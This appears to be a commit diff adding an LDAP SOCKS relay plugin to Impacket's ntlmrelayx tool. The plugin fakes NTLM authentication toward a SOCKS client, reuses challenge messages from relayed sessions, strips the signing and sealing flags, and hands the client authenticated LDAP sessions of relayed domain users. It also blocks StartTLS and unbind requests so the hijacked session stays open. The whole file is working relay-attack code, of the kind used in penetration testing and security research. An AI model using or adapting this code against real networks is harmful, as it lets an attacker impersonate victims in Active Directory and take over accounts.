|
| 1 | +import select |
| 2 | +from pyasn1.codec.ber import encoder, decoder |
| 3 | +from pyasn1.error import SubstrateUnderrunError |
| 4 | +from pyasn1.type import univ |
| 5 | + |
| 6 | +from impacket import LOG, ntlm |
| 7 | +from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay |
| 8 | +from impacket.ldap.ldap import LDAPSessionError |
| 9 | +from impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, SearchRequest, SearchResultEntry, SearchResultDone, LDAPMessage, LDAPString, ResultCode, PartialAttributeList, PartialAttribute, AttributeValue, UnbindRequest, ExtendedRequest |
| 10 | +from impacket.ntlm import NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_SEAL |
| 11 | + |
| 12 | +PLUGIN_CLASS = 'LDAPSocksRelay' |
| 13 | + |
| 14 | +class LDAPSocksRelay(SocksRelay): |
| 15 | + PLUGIN_NAME = 'LDAP Socks Plugin' |
| 16 | + PLUGIN_SCHEME = 'LDAP' |
| 17 | + |
| 18 | + MSG_SIZE = 4096 |
| 19 | + |
| 20 | + def __init__(self, targetHost, targetPort, socksSocket, activeRelays): |
| 21 | + SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) |
| 22 | + |
| 23 | + @staticmethod |
| 24 | + def getProtocolPort(): |
| 25 | + return 389 |
| 26 | + |
| 27 | + def initConnection(self): |
| 28 | + # No particular action required to initiate the connection |
| 29 | + pass |
| 30 | + |
| 31 | + def skipAuthentication(self): |
| 32 | + # Faking an NTLM authentication with the client |
| 33 | + while True: |
| 34 | + messages = self.recv_ldap_msg() |
| 35 | + if messages is None: |
| 36 | + LOG.warning('LDAP: Client did not send ldap messages or closed connection') |
| 37 | + return False |
| 38 | + LOG.debug(f'LDAP: Received {len(messages)} message(s)') |
| 39 | + |
| 40 | + for message in messages: |
| 41 | + msg_component = message['protocolOp'].getComponent() |
| 42 | + if msg_component.isSameTypeWith(BindRequest): |
| 43 | + # BindRequest received |
| 44 | + |
| 45 | + if msg_component['authentication'] == univ.OctetString(''): |
| 46 | + # First bind message without authentication |
| 47 | + # Replying with a request for NTLM authentication |
| 48 | + |
| 49 | + LOG.debug('LDAP: Got empty bind request') |
| 50 | + |
| 51 | + bindresponse = BindResponse() |
| 52 | + bindresponse['resultCode'] = ResultCode('success') |
| 53 | + bindresponse['matchedDN'] = LDAPDN('NTLM') |
| 54 | + bindresponse['diagnosticMessage'] = LDAPString('') |
| 55 | + self.send_ldap_msg(bindresponse, message['messageID']) |
| 56 | + |
| 57 | + # Let's receive next messages |
| 58 | + continue |
| 59 | + |
| 60 | + elif 'sicilyNegotiate' in msg_component['authentication']: |
| 61 | + # Requested NTLM authentication |
| 62 | + |
| 63 | + LOG.debug('LDAP: Got NTLM bind request') |
| 64 | + |
| 65 | + # Load negotiate message |
| 66 | + negotiateMessage = ntlm.NTLMAuthNegotiate() |
| 67 | + negotiateMessage.fromString(msg_component['authentication']['sicilyNegotiate'].asOctets()) |
| 68 | + |
| 69 | + # Reuse the challenge message from the real authentication with the server |
| 70 | + challengeMessage = self.sessionData['CHALLENGE_MESSAGE'] |
| 71 | + # We still remove the annoying flags |
| 72 | + challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN) |
| 73 | + challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SEAL) |
| 74 | + |
| 75 | + # Building the LDAP bind response message |
| 76 | + bindresponse = BindResponse() |
| 77 | + bindresponse['resultCode'] = ResultCode('success') |
| 78 | + bindresponse['matchedDN'] = LDAPDN(challengeMessage.getData()) |
| 79 | + bindresponse['diagnosticMessage'] = LDAPString('') |
| 80 | + |
| 81 | + # Sending the response |
| 82 | + self.send_ldap_msg(bindresponse, message['messageID']) |
| 83 | + |
| 84 | + elif 'sicilyResponse' in msg_component['authentication']: |
| 85 | + # Received an NTLM auth bind request |
| 86 | + |
| 87 | + # Parsing authentication method |
| 88 | + chall_response = ntlm.NTLMAuthChallengeResponse() |
| 89 | + chall_response.fromString(msg_component['authentication']['sicilyResponse'].asOctets()) |
| 90 | + |
| 91 | + username = chall_response['user_name'].decode('utf-16le') |
| 92 | + domain = chall_response['domain_name'].decode('utf-16le') |
| 93 | + self.username = f'{domain}/{username}' |
| 94 | + |
| 95 | + # Checking for the two formats the domain can have (taken from both HTTP and SMB socks plugins) |
| 96 | + if f'{domain}/{username}'.upper() in self.activeRelays: |
| 97 | + self.username = f'{domain}/{username}'.upper() |
| 98 | + elif f'{domain.split(".", 1)[0]}/{username}'.upper() in self.activeRelays: |
| 99 | + self.username = f'{domain.split(".", 1)[0]}/{username}'.upper() |
| 100 | + else: |
| 101 | + # Username not in active relays |
| 102 | + LOG.error('LDAP: No session for %s@%s(%s) available' % ( |
| 103 | + username, self.targetHost, self.targetPort)) |
| 104 | + return False |
| 105 | + |
| 106 | + if self.activeRelays[self.username]['inUse'] is True: |
| 107 | + LOG.error('LDAP: Connection for %s@%s(%s) is being used at the moment!' % ( |
| 108 | + self.username, self.targetHost, self.targetPort)) |
| 109 | + return False |
| 110 | + else: |
| 111 | + LOG.info('LDAP: Proxying client session for %s@%s(%s)' % ( |
| 112 | + self.username, self.targetHost, self.targetPort)) |
| 113 | + self.activeRelays[self.username]['inUse'] = True |
| 114 | + self.session = self.activeRelays[self.username]['protocolClient'].session.socket |
| 115 | + |
| 116 | + # Building successful LDAP bind response |
| 117 | + bindresponse = BindResponse() |
| 118 | + bindresponse['resultCode'] = ResultCode('success') |
| 119 | + bindresponse['matchedDN'] = LDAPDN('') |
| 120 | + bindresponse['diagnosticMessage'] = LDAPString('') |
| 121 | + |
| 122 | + # Sending successful response |
| 123 | + self.send_ldap_msg(bindresponse, message['messageID']) |
| 124 | + |
| 125 | + return True |
| 126 | + else: |
| 127 | + LOG.error('LDAP: Received an unknown LDAP binding request, cannot continue') |
| 128 | + return False |
| 129 | + |
| 130 | + else: |
| 131 | + msg_component = message['protocolOp'].getComponent() |
| 132 | + if msg_component.isSameTypeWith(SearchRequest): |
| 133 | + # Pre-auth search request |
| 134 | + |
| 135 | + if msg_component['attributes'][0] == LDAPString('supportedCapabilities'): |
| 136 | + # supportedCapabilities |
| 137 | + response = SearchResultEntry() |
| 138 | + response['objectName'] = LDAPDN('') |
| 139 | + response['attributes'] = PartialAttributeList() |
| 140 | + |
| 141 | + attribs = PartialAttribute() |
| 142 | + attribs.setComponentByName('type', 'supportedCapabilities') |
| 143 | + attribs.setComponentByName('vals', univ.SetOf(componentType=AttributeValue())) |
| 144 | + # LDAP_CAP_ACTIVE_DIRECTORY_OID |
| 145 | + attribs.getComponentByName('vals').setComponentByPosition(0, AttributeValue('1.2.840.113556.1.4.800')) |
| 146 | + # LDAP_CAP_ACTIVE_DIRECTORY_V51_OID |
| 147 | + attribs.getComponentByName('vals').setComponentByPosition(1, AttributeValue('1.2.840.113556.1.4.1670')) |
| 148 | + # LDAP_CAP_ACTIVE_DIRECTORY_LDAP_INTEG_OID |
| 149 | + attribs.getComponentByName('vals').setComponentByPosition(2, AttributeValue('1.2.840.113556.1.4.1791')) |
| 150 | + # ISO assigned OIDs |
| 151 | + attribs.getComponentByName('vals').setComponentByPosition(3, AttributeValue('1.2.840.113556.1.4.1935')) |
| 152 | + attribs.getComponentByName('vals').setComponentByPosition(4, AttributeValue('1.2.840.113556.1.4.2080')) |
| 153 | + attribs.getComponentByName('vals').setComponentByPosition(5, AttributeValue('1.2.840.113556.1.4.2237')) |
| 154 | + |
| 155 | + response['attributes'].append(attribs) |
| 156 | + |
| 157 | + elif msg_component['attributes'][0] == LDAPString('supportedSASLMechanisms'): |
| 158 | + # supportedSASLMechanisms |
| 159 | + response = SearchResultEntry() |
| 160 | + response['objectName'] = LDAPDN('') |
| 161 | + response['attributes'] = PartialAttributeList() |
| 162 | + |
| 163 | + attribs = PartialAttribute() |
| 164 | + attribs.setComponentByName('type', 'supportedSASLMechanisms') |
| 165 | + attribs.setComponentByName('vals', univ.SetOf(componentType=AttributeValue())) |
| 166 | + # Force NTLMSSP to avoid parsing every type of authentication |
| 167 | + attribs.getComponentByName('vals').setComponentByPosition(0, AttributeValue('NTLM')) |
| 168 | + |
| 169 | + response['attributes'].append(attribs) |
| 170 | + else: |
| 171 | + # Any other message triggers the closing of client connection |
| 172 | + return False |
| 173 | + |
| 174 | + # Sending message |
| 175 | + self.send_ldap_msg(response, message['messageID']) |
| 176 | + # Sending searchResDone |
| 177 | + result_done = SearchResultDone() |
| 178 | + result_done['resultCode'] = ResultCode('success') |
| 179 | + result_done['matchedDN'] = LDAPDN('') |
| 180 | + result_done['diagnosticMessage'] = LDAPString('') |
| 181 | + self.send_ldap_msg(result_done, message['messageID']) |
| 182 | + |
| 183 | + def recv_ldap_msg(self): |
| 184 | + '''Receive LDAP messages during the SOCKS client LDAP authentication.''' |
| 185 | + |
| 186 | + data = b'' |
| 187 | + done = False |
| 188 | + while not done: |
| 189 | + recvData = self.socksSocket.recv(self.MSG_SIZE) |
| 190 | + if recvData == b'': |
| 191 | + # Connection got closed |
| 192 | + return None |
| 193 | + if len(recvData) < self.MSG_SIZE: |
| 194 | + done = True |
| 195 | + data += recvData |
| 196 | + |
| 197 | + response = [] |
| 198 | + while len(data) > 0: |
| 199 | + try: |
| 200 | + message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) |
| 201 | + except SubstrateUnderrunError: |
| 202 | + # We need more data |
| 203 | + new_data = self.socksSocket.recv(self.MSG_SIZE) |
| 204 | + if new_data == b'': |
| 205 | + # Connection got closed |
| 206 | + return None |
| 207 | + remaining = data + new_data |
| 208 | + else: |
| 209 | + response.append(message) |
| 210 | + data = remaining |
| 211 | + |
| 212 | + return response |
| 213 | + |
| 214 | + def send_ldap_msg(self, response, message_id, controls=None): |
| 215 | + '''Send LDAP messages during the SOCKS client LDAP authentication.''' |
| 216 | + |
| 217 | + message = LDAPMessage() |
| 218 | + message['messageID'] = message_id |
| 219 | + message['protocolOp'].setComponentByType(response.getTagSet(), response) |
| 220 | + if controls is not None: |
| 221 | + message['controls'].setComponents(*controls) |
| 222 | + |
| 223 | + data = encoder.encode(message) |
| 224 | + |
| 225 | + return self.socksSocket.sendall(data) |
| 226 | + |
| 227 | + def wait_for_data(self, socket1, socket2): |
| 228 | + return select.select([socket1, socket2], [], [])[0] |
| 229 | + |
| 230 | + def passthrough_sockets(self, client_sock, server_sock): |
| 231 | + while True: |
| 232 | + rready = self.wait_for_data(client_sock, server_sock) |
| 233 | + |
| 234 | + for sock in rready: |
| 235 | + |
| 236 | + if sock == client_sock: |
| 237 | + # Data received from client |
| 238 | + try: |
| 239 | + read = client_sock.recv(self.MSG_SIZE) |
| 240 | + except Exception: |
| 241 | + read = '' |
| 242 | + if not read: |
| 243 | + return |
| 244 | + |
| 245 | + if not self.is_allowed_request(read): |
| 246 | + # Stop client connection when unallowed requests are made |
| 247 | + return |
| 248 | + |
| 249 | + if not self.is_forwardable_request(read): |
| 250 | + # Do not forward unbind requests, otherwise we would loose the SOCKS |
| 251 | + continue |
| 252 | + |
| 253 | + try: |
| 254 | + server_sock.send(read) |
| 255 | + except Exception: |
| 256 | + raise BrokenPipeError('Broken pipe: LDAP server is gone') |
| 257 | + |
| 258 | + elif sock == server_sock: |
| 259 | + # Data received from server |
| 260 | + try: |
| 261 | + read = server_sock.recv(self.MSG_SIZE) |
| 262 | + except Exception: |
| 263 | + read = '' |
| 264 | + if not read: |
| 265 | + raise BrokenPipeError('Broken pipe: LDAP server is gone') |
| 266 | + |
| 267 | + try: |
| 268 | + client_sock.send(read) |
| 269 | + except Exception: |
| 270 | + return |
| 271 | + |
| 272 | + def tunnelConnection(self): |
| 273 | + '''Charged of tunneling the rest of the connection.''' |
| 274 | + |
| 275 | + self.passthrough_sockets(self.socksSocket, self.session) |
| 276 | + |
| 277 | + # Free the relay so that it can be reused |
| 278 | + self.activeRelays[self.username]['inUse'] = False |
| 279 | + |
| 280 | + LOG.debug('LDAP: Finished tunnelling') |
| 281 | + |
| 282 | + return True |
| 283 | + |
| 284 | + def is_forwardable_request(self, data): |
| 285 | + try: |
| 286 | + message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) |
| 287 | + msg_component = message['protocolOp'].getComponent() |
| 288 | + |
| 289 | + # Search for unbind requests |
| 290 | + if msg_component.isSameTypeWith(UnbindRequest): |
| 291 | + LOG.warning('LDAP: Client tried to unbind LDAP connection, skipping message') |
| 292 | + return False |
| 293 | + except Exception: |
| 294 | + # Is probably not an unbind LDAP message |
| 295 | + pass |
| 296 | + |
| 297 | + return True |
| 298 | + |
| 299 | + def is_allowed_request(self, data): |
| 300 | + try: |
| 301 | + message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) |
| 302 | + msg_component = message['protocolOp'].getComponent() |
| 303 | + |
| 304 | + # Search for START_TLS LDAP extendedReq OID |
| 305 | + if msg_component.isSameTypeWith(ExtendedRequest) and msg_component['requestName'].asOctets() == b'1.3.6.1.4.1.1466.20037': |
| 306 | + # 1.3.6.1.4.1.1466.20037 is LDAP_START_TLS_OID |
| 307 | + LOG.warning('LDAP: Client tried to initiate Start TLS, closing connection') |
| 308 | + return False |
| 309 | + except Exception: |
| 310 | + # Is probably not a ExtendedReq message |
| 311 | + pass |
| 312 | + |
| 313 | + return True |
0 commit comments